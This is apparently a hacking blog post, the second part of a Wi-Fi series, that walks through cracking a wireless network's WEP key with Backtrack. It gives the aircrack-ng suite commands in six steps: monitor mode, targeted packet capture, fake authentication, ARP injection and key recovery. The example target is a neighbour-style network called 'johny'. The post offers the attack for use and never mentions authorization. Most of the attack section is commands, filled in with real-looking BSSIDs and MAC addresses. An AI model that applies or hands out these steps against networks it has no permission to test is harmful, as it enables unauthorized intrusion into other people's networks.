Learn From Professionals

<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh4_jVidtWCRPv9R0U5h2R_afmGBEGIHBooeZ790ZF5dCkjR1aNcJPUma2FUNXyDPLK-Mu0wT0tIMibH4JfjZps7hr7CFeo8H_WiImmU8UOEd3XSGG9cZcyDAc8g9Izfju_ZBd_wBzAma8/s1600/how_to_hack_wifi.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh4_jVidtWCRPv9R0U5h2R_afmGBEGIHBooeZ790ZF5dCkjR1aNcJPUma2FUNXyDPLK-Mu0wT0tIMibH4JfjZps7hr7CFeo8H_WiImmU8UOEd3XSGG9cZcyDAc8g9Izfju_ZBd_wBzAma8/s1600/how_to_hack_wifi.jpg" /></a></div>
In my previous article <a href="http://hackhaholic.blogspot.com/2011/07/wifi-hacking-part-1.html">WiFi Hacking Part 1</a>,
 i wrote about the necessary tools and stuff  that you require for 
WiFi Hacking .If you have not read the article, please go through it 
before reading this one 
 
In this article i will explain how you can crack wireless network's <a class="kLink" href="http://www.101hacker.com/2011/07/cracking-wep-using-backtrack-wifi.html#" id="KonaLink1" style="font-family: inherit !important; font-size: inherit !important; font-weight: inherit !important; position: static; text-decoration: underline !important;">WEP key</a> using Backtrack in six easy steps 
 
<a href="https://www.blogger.com/null" name="more"></a>WiFi Hacking Part 2 
I believe all my blog readers have read the previous article <a href="http://hackhaholic.blogspot.com/2011/07/wifi-hacking-part-1.html">WiFi Hacking Part 1</a>, and know what are the tools and stuff that you require for WiFi hacking 
 
Commonly Used Terms :-  
<ul>
<li>WEP - Wired Equivalency Privacy, it is a <a class="kLink" href="http://www.101hacker.com/2011/07/cracking-wep-using-backtrack-wifi.html#" id="KonaLink2" style="font-family: inherit !important; font-size: inherit !important; font-weight: inherit !important; position: static; text-decoration: underline !important;">security protocol</a> for Wi-Fi networks</li>
<li><a class="kLink" href="http://www.101hacker.com/2011/07/cracking-wep-using-backtrack-wifi.html#" id="KonaLink3" style="font-family: inherit !important; font-size: inherit !important; font-weight: inherit !important; position: static; text-decoration: underline !important;"><span class="kLink" style="background-color: transparent; border-bottom: 1px solid blue; color: blue ! important; font-family: inherit ! important; font-size: inherit ! important; font-weight: inherit ! important; position: relative;">Access <span class="kLink" style="background-color: transparent; border-bottom: 1px solid blue; color: blue ! important; font-family: inherit ! important; font-size: inherit ! important; font-weight: inherit ! important; position: relative;">Point</a> (AP)- A <a class="kLink" href="http://www.101hacker.com/2011/07/cracking-wep-using-backtrack-wifi.html#" id="KonaLink4" style="font-family: inherit !important; font-size: inherit !important; font-weight: inherit !important; position: static; text-decoration: underline !important;">wireless router</a></li>
<li>MAC Address - Media Access Control address, a unique id assigned to <a class="kLink" href="http://www.101hacker.com/2011/07/cracking-wep-using-backtrack-wifi.html#" id="KonaLink5" style="font-family: inherit !important; font-size: inherit !important; font-weight: inherit !important; position: static; text-decoration: underline !important;">wireless adapters</a> and routers .It comes in hexadecimal format (ie 00:15:eR:21:a3:63)</li>
<li>BSSID - Access Point’s MAC address</li>
<li>ESSID - Access Point’s Broadcast name</li>
</ul>
 
 
Cracking WEP Using Backtrack 
 
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhH2dXKZFBMUOqUAyKrvrKSz77QSKOHGjBP04qDM40YUbA3Y-WmgIMjYL2xShLblVUsZpC4BDtUadvDbbLyQt5Zdxk2tJfkKsTc2ZNd0x4f1unGUj0segBozzKKKg-rSH2wtbdYGqbpk8Y/s1600/no_wep.gif" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhH2dXKZFBMUOqUAyKrvrKSz77QSKOHGjBP04qDM40YUbA3Y-WmgIMjYL2xShLblVUsZpC4BDtUadvDbbLyQt5Zdxk2tJfkKsTc2ZNd0x4f1unGUj0segBozzKKKg-rSH2wtbdYGqbpk8Y/s1600/no_wep.gif" /></a></div>
 
Step -1 Booting Backtrack 
 
Boot your copy of Backtrack from your USB drive (refer my article on <a href="http://hackhaholic.blogspot.com/2011/03/how-to-make-bootable-backtrack-cd-usb.html">how to make a bootable Backtrack USB</a> ),Once booted you will be prompted for the login details, enter usename as "root" and password as "toor", finally enter "startx "
 to start backtrack .Now once you have logged in, launch a new konsole 
terminal by clicking the konsole terminal icon which is there on the 
task bar .Now plug in your Wifi usb card and type in the following commands in the terminal as shown 
<blockquote>
ifconfig wlan0 up 
 
where wlan0 is the name of the wireless card ,it can be different .To 
see all wireless cards connected to your system simply type" iwconfig "</blockquote>
 
Step -2 Putting your WiFi card on Monitor Mode 
 
The purpose of this step is to put your card into what is called monitor
 mode. Monitor mode is the mode whereby your card can listen to every 
packet in the air ,It is similar to a Promiscuous mode which is used for
 packet sniffing in a LAN .You can put your card into Monitor mode by 
entering the following commands in a terminal 
<blockquote>
airmon-ng  start (your interface) 
 
Example :- airmon-ng  start wlan0</blockquote>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiy3_12s-mLai6hyphenhyphen49PoVQWPk_U-wzw1QijnZs6GQ_-8vnPHTEGXg0Y42OGCoMBAA4Zv_vMm142QPb9rqi-HCLJ8h1MV0Hgkja_KNes9LGPMGHaM_V7is4eu-OzZS0yLNSkQjEUXfYPzuw/s1600/1.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="279" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiy3_12s-mLai6hyphenhyphen49PoVQWPk_U-wzw1QijnZs6GQ_-8vnPHTEGXg0Y42OGCoMBAA4Zv_vMm142QPb9rqi-HCLJ8h1MV0Hgkja_KNes9LGPMGHaM_V7is4eu-OzZS0yLNSkQjEUXfYPzuw/s320/1.png" width="320" /></a></div>
 
Now a new interface mon0 or ath0 will be created , You can see the new interface is in monitor mode by entering "iwconfig" as shown 
 
 
Step -3  Monitor the air for WiFI connections  
 
 
Now after putting the card in monitor mode you will need to monitor the air for available <a class="kLink" href="http://www.101hacker.com/2011/07/cracking-wep-using-backtrack-wifi.html#" id="KonaLink6" style="font-family: inherit !important; font-size: inherit !important; font-weight: inherit !important; position: static; text-decoration: underline !important;">wireless networks</a> (WiFi connections)around  you , For this you'll have to use a tool called "airodump" . 
 
So you can start monitoring the air with airodump by enter the following commands 
<blockquote>
airodump-ng  mon0 
 
where mon0 is the new interface which we created in the previous step</blockquote>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiMXcntSOiOCdLYOSEsTeocU_vmGJuJ7YGT0NRnGFJhuZb4LlHVXKmb20U4YmUcUwgbMznTM1-jVGvrUq9y5SaJaBBaJk-cHFtQu1j5V8T9Dz9KAXrE7UytWk77NQ6Eib7D7-Ly_0hs3NI/s1600/1.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="174" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiMXcntSOiOCdLYOSEsTeocU_vmGJuJ7YGT0NRnGFJhuZb4LlHVXKmb20U4YmUcUwgbMznTM1-jVGvrUq9y5SaJaBBaJk-cHFtQu1j5V8T9Dz9KAXrE7UytWk77NQ6Eib7D7-Ly_0hs3NI/s320/1.png" width="320" /></a></div>
Bssid shows the mac address of the AP, CH shows the channel in which AP is broadcasted and Essid shows the name broadcasted by the AP, Cipher shows the <a class="kLink" href="http://www.101hacker.com/2011/07/cracking-wep-using-backtrack-wifi.html#" id="KonaLink7" style="font-family: inherit !important; font-size: inherit !important; font-weight: inherit !important; position: static; text-decoration: underline !important;"><span class="kLink" style="background-color: transparent; border-bottom: 1px solid blue; color: blue ! important; font-family: inherit ! important; font-size: inherit ! important; font-weight: inherit ! important; position: relative;">encryption <span class="kLink" style="background-color: transparent; border-bottom: 1px solid blue; color: blue ! important; font-family: inherit ! important; font-size: inherit ! important; font-weight: inherit ! important; position: relative;">type</a> , 
 
Stop the process by pressing  "ctrl +c " and select your target  ,Since i am only cracking WEP  i will take "johny" as my target from now on 
 
Step -4 Capturing Data with Airodump  
 
Now to crack the WEP key you'll have to capture the targets data into a 
file, To do this we use airodump tool again, but with some additional 
switches to target a specific AP and channel. Most importantly, you 
should restrict monitoring to a single channel to speed up data 
collection, otherwise the wireless card has to alternate between all 
channels .You can restrict the capture by giving in the 
following commands 
<blockquote>
airodump-ng mon0 --bssid -c (channel ) -w (file name to save )</blockquote>
As
 my target is broadcasted in channel 2 and has bssid 
 "98:fc:11:c9:14:22" ,I give in the following commands and save the 
captured data as "johnywep" 
<blockquote>
airodump-ng   mon0 --bssid  98:fc:11:c9:14:22   -c 2  -w  johnywep</blockquote>
Do not close this terminal (run the other commends simultaneously in an another terminal) 
 
 
Step -5 Using Aireplay to Speed up the cracking   
 
You will have to capture at least 25,000 data packets to crack WEP .This can be done in two ways, The first one would be a (passive attack )
 wait for a client to connect to the AP and then start capturing the 
data packets but this method is very slow, it can take days or even 
weeks to capture that many data packets 
 
The second method would be an (active attack )this method is fast and only takes minutes to generate and inject that many packets . 
 
In an active attack  you'll have do a Fake authentication (connect) with
 the  AP ,then you'll have to generate and inject data packets.This can 
be done very easily by using a tool called "aireplay" 
 
So you can do a Fake authentication with the AP using aireplay by entering the following commands in a new terminal 
<blockquote>
aireplay-ng - 1  3  -a (bssid fo the target )  (interface) 
 
In my case i enter the following 
 
aireplay-ng -1 3  -a 98:fc:11:c9:14:22 mon0 </blockquote>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg9_eKUTaQdKS-lScaEx4t0A-34ALY-F2RKfU_qvGKCS9fQvozaXUreyjicNVB5IfT-3yfS9QIx_MQc8Wm0bD6pGcPPffr8geZRka_vM-Hg6-nNqNr16sp8LdLWq58KsA1LUgt7Z1GlTek/s1600/3.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="229" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg9_eKUTaQdKS-lScaEx4t0A-34ALY-F2RKfU_qvGKCS9fQvozaXUreyjicNVB5IfT-3yfS9QIx_MQc8Wm0bD6pGcPPffr8geZRka_vM-Hg6-nNqNr16sp8LdLWq58KsA1LUgt7Z1GlTek/s320/3.png" width="320" /></a></div>
 
After doing a fake auth ,now its time to generate and inject Arp (data )packets . To this you'll have to open a terminal simultaneously and enter the following commands 
<blockquote>
aireplay-ng 3  -b (bssid of target)  -h ( address of your card (mon0))   (interface) 
 
In my case i enter 
aireplay-ng 3  -b 98:fc:11:c9:14:22   -h 00:c0:ca:50:f8:32 mon0</blockquote>
If this step was successful  you'll see Lot of data packets in the airodump capture ( step 4  ) as shown 
 
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjdLMtFdRzQPBdJOha0acxf3TDBufdJbrd7KfN-YtKZtrAAUsVlZ3icMybNjTLxoqowePtBANHKlwnOQYo1JmiTsWdEXjzeq-qaj6A7_VlWEEfuBTZEy52m3IHoBtMtdJ3Z4v8psr4_kQ/s1600/6.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="96" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjdLMtFdRzQPBdJOha0acxf3TDBufdJbrd7KfN-YtKZtrAAUsVlZ3icMybNjTLxoqowePtBANHKlwnOQYo1JmiTsWdEXjzeq-qaj6A7_VlWEEfuBTZEy52m3IHoBtMtdJ3Z4v8psr4_kQ/s320/6.jpg" width="320" /></a></div>
 
Wait till it reaches at least 25000 packets , best would be to 
wait till it reaches around 80,000 to 90,000 packets .Its simple more 
the data packets  less the time to crack .once you 
captured enough number of packets, close all the process's by pressing "Ctrl +c" or by simply clicking the into mark which is there on the terminal 
 
Strep -6 Cracking WEP  key using <a class="kLink" href="http://www.101hacker.com/2011/07/cracking-wep-using-backtrack-wifi.html#" id="KonaLink8" style="font-family: inherit !important; font-size: inherit !important; font-weight: inherit !important; position: static; text-decoration: underline !important;"><span class="kLink" style="background-color: transparent; border-bottom: 1px solid blue; color: blue ! important; font-family: inherit ! important; font-size: inherit ! important; font-weight: inherit ! important; position: relative;">Aircrack</a>  
 
Now its time crack the WEP key from the captured data, we use Aircrack to achieve this 
 
Enter the following commands to crack the WEP key 
<blockquote>
aircrack-ng  (name of the captured file (step 4) ) 
<div class="separator" style="clear: both; text-align: -webkit-auto;">
 
</div>
<div class="separator" style="clear: both; text-align: -webkit-auto;">
In my case i enter </div>
<div class="separator" style="clear: both; text-align: -webkit-auto;">
 
</div>
<div class="separator" style="clear: both; text-align: -webkit-auto;">
aircrack-ng johnywep-0.1-cap</div>
</blockquote>
<div class="separator" style="clear: both; text-align: -webkit-auto;">
With in a few minutes Aircrak will crack the WEP key as shown</div>
<div class="separator" style="clear: both; text-align: center;">
 </div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8vabiAcvncc1k8j4WLkAyejBefZCdngHAg5MoLwLRqnGJQ1b4WtV15HsLfap5MKFPD1ktMxxMBsAj1QxWja8AykLjEKssRCKTAYDxMHZmK2Ix6gPIW3D1nVldjr4sTHfv12QlK0vHmdA/s1600/8.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="177" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8vabiAcvncc1k8j4WLkAyejBefZCdngHAg5MoLwLRqnGJQ1b4WtV15HsLfap5MKFPD1ktMxxMBsAj1QxWja8AykLjEKssRCKTAYDxMHZmK2Ix6gPIW3D1nVldjr4sTHfv12QlK0vHmdA/s320/8.jpg" width="320" /></a></div>
 
Voila you have successfully  cracked the WEP key in Six simple steps 
<div style="background-color: white; border: medium none; color: black; overflow: hidden; text-align: left; text-decoration: none;">
 </div>
</div>

Wifi Hack By Backtrack Part 2

I n my previous article WiFi Hacking Part 1 , i wrote about the necessary tools and stuff that you require for WiFi Hacking .If you ha...

How to Hack Into a Windows User Account Using the Net User Command

Finding Ip Address Of A Website Using Command Prompt Or CMD

How To Lock Folder ?...Without Any Software

Wifi Hack By Backtrack Part 2

Unlocking your data card easy